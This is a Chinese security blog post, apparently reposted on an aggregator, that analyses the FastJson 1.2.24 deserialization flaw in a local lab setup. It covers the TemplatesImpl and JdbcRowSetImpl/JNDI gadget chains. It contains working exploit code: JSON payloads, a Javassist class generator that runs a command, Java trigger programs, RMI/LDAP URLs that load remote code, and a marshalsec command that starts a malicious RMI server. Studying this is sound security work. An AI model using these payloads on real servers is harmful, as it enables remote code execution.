IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 『Java安全』反序列化-FastJson 1.2.24反序列化漏洞POP链分析_TemplatesImpl和JdbcRowSetImpl JNDI注入分析_marshalsec测试payload利用 -> 正文阅读

[网络协议]『Java安全』反序列化-FastJson 1.2.24反序列化漏洞POP链分析_TemplatesImpl和JdbcRowSetImpl JNDI注入分析_marshalsec测试payload利用

前言

版本

本篇笔记实例选取FastJson <= 1.2.24 + jdk8u111

在选取payload的时候要注意对应jdk版本是否能够触发

FastJson基础

『Java』Fastjson基础

一、反序列化TemplatesImpl类+类加载触发

原理是使用payload触发7u21反序列化完成RCE

payload

{
	"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes":["yv66......"],
	"_name":"foo",
	"_tfactory":{},
	"_outputProperties":{}
}

其中"_outputProperties"字段必须放在最后、_name字段可以任填、bytecodes的生成参考7u21的GenerateEvilByJavaassist利用javaassist生成恶意TemplatesImpl类字节码

『Java安全』反序列化-Jdk7u21 POP链分析_ysoserial Jdk7u21 payload 分析_TemplateImpl触发反序列化漏洞
在这里插入图片描述

代码审计 | 原理分析

JSON.parse()对byte[]进行base64解码

DefaultJSONParse有个parseArray用来解析Array数组
在这里插入图片描述
对于byte[]直接跳转到最后
在这里插入图片描述
deserializer是ObjectArrayCodec类的,这里有针对byte[]调用了lexer.byteValue()
在这里插入图片描述
然后进行了base64解码
在这里插入图片描述

JavaBeanDeserializer.smartMatch()智能匹配字段

匹配字段名称会自动忽略下划线和横杠
在这里插入图片描述

因为这个特性才能对_outputProperties字段调用getOutputProperties方法触发反序列化漏洞

JSON.parse()在解析参数时候会调用getter/setter

『Java』Fastjson基础在这里插入图片描述
parse先调用setter在调用getter
在这里插入图片描述

JSON.parse()触发TemplatesImpl.getOutputProperties()

由于_bytecodes是private变量,因此需要在parse设置参数Feature.SupportNonPublicField才能够完成赋值,在处理完参数后来到JSON.parse(),然后调用默认解析器的parse()方法解析JSON
在这里插入图片描述
首先解析第一个字符是左花括号,对应的编号是12分支,Token对照可以在JSONToken.class查
在这里插入图片描述

在这里插入图片描述
进入JSONObject方法,这里有个true循环去解析@type标签
在这里插入图片描述
解析到@type标签会调用类加载器加载指定的类
在这里插入图片描述
接着,获取类的反序列化器,获取反序列化器的时候做了过滤排除掉了一些特殊类
在这里插入图片描述
最后获取的是createJavaBeanDeserializer创建的反序列化器
在这里插入图片描述
然后就进入解析
在这里插入图片描述
调用JavaBeanDeserializer.deserialuze()
在这里插入图片描述
这里有几个循环嵌套,负责解析
在这里插入图片描述
解析用的是parseField方法
在这里插入图片描述

parseField方法设置字段利用的是反射在这里插入图片描述
解析到tfactory字段时为空会自动创建TransformerFactoryImpl实例,7u21版本无需设置该字段,但是7u80以后的高版本需要设置
在这里插入图片描述
在设置最后一个参数outputProperties的时候:进入了DefaultFieldDeserializer.parseField方法的最后一个setValue方法在这里插入图片描述
FieldDeserializer.setValue方法利用反射调用了TemplatesImpl.getOutputProperties()从而完成了触发
在这里插入图片描述

POP链

在这里插入图片描述

setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:14, TemplatesImplPayload (fastjson.Ver2u24)

代码复现

借用之前的方法:jdk7u21/GenerateEvilByJavaassist.java

package jdk7u21;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

public class GenerateEvilByJavaassist {
    public static byte[] generate() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("Evil");
        CtClass zuper = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(zuper);

        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("{Runtime.getRuntime().exec(\"calc\");}");
        clazz.addConstructor(constructor);

        return clazz.toBytecode();
    }


}

TemplatesImplPayload.java

package fastjson.Ver2u24;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.unboundid.util.Base64;


public class TemplatesImplPayload {
    public static void main(String[] args) throws Exception {
        String typeName = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String byteCodes = Base64.encode(jdk7u21.GenerateEvilByJavaassist.generate());
        String payload = "{\"@type\":\"" + typeName + "\", \"_bytecodes\":[\"" + byteCodes + "\"], \"_name\":\"foo\", \"_tfactory\":{}, \"_outputProperties\":{}}\n";
		System.out.println(payload);
        JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}

在这里插入图片描述

缺点

因为TemplatesImpl的bytecodes字段是private,在parse的时候就要假设远程服务器开启了Feature.SupportNonPublicField参数,然而这并不具有通用性

二、反序列化JDBCRowSetImpl类+JNDI注入触发

原理是使用payload触发JNDI注入完成RCE

payload

在选取payload的时候要注意对应jdk版本是否能够触发

// rmi
{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://xxx.xxx.xxx.xxx/hacked",
	"autoCommit":true
}

// ldap
{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://xxx.xxx.xxx.xxx/hacked",
	"autoCommit":true
}

『Java安全』基础JNDI注入原理和手段探究(低版本)
在这里插入图片描述

代码审计 | 原理分析

JDBCRowSetImpl.setAutoCommit()触发lookup()完成JNDI注入

与上面参考文章调用execute方法触发不同:
JDBCRowSetImpl.setAutoCommit()方法首先会检测conn参数,为空则会发起连接,是从这进入的connect()方法
在这里插入图片描述
然后就会lookup
在这里插入图片描述

JSON.parse()触发JDBCRowSetImpl.setAutoCommit()

根据上面的分析,autoCommit是布尔类型的
在这里插入图片描述
因此在payload最后给autoCommit赋布尔值、在parse的时候就会去调用它的set方法了
在这里插入图片描述

POP链

在这里插入图片描述

代码复现

JDBCRowSetImplPayload.java

package fastjson.Ver2u24;

import com.alibaba.fastjson.JSON;

public class JDBCRowSetImplPayload {
    public static void main(String[] args) throws Exception {
        String typeName = "com.sun.rowset.JdbcRowSetImpl";
        String rmiURL = "rmi://127.0.0.1/hacked";
        String ldapURL = "ldap://127.0.0.1:389/hacked";
        
        String payload1 = "{\"@type\":\""+ typeName +"\", \"dataSourceName\":\"" + rmiURL +"\", \"autoCommit\":true}\n";
        String payload2 = "{\"@type\":\""+ typeName +"\", \"dataSourceName\":\"" + ldapURL +"\", \"autoCommit\":true}\n";
        
        System.out.println(payload1);
        System.out.println(payload2);
        
        JSON.parseObject(payload1);
        //JSON.parseObject(payload2);
    }
}

起一个恶意RMI/LDAP服务,这里用之前学习jndi的代码

『Java安全』基础JNDI注入原理和手段探究(低版本)
在这里插入图片描述
在这里插入图片描述

优点

克服了TemplatesImpl需要指定parse参数Feature.SupportNonPublicField的不足,能够直接触发

marshalsec测试payload利用

生成恶意class

写一个Exploit,只要在静态代码块完成RCE即可
在这里插入图片描述

然后javac编译,使用python -m http.server 80开一个服务器把class文件放上去确保能访问到
在这里插入图片描述

marshalsec开启恶意rmi服务器

将rmi开启在6666端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit 6666

受害者访问rmi服务触发RCE

受害者rce成功
在这里插入图片描述

参考

Fastjson 1.2.24反序列化漏洞分析

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123261762
版权声明:本文为原创,转载时须注明出处及本声明

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-03-08 22:56:03  更:2022-03-08 22:57:41 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 7:22:53-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码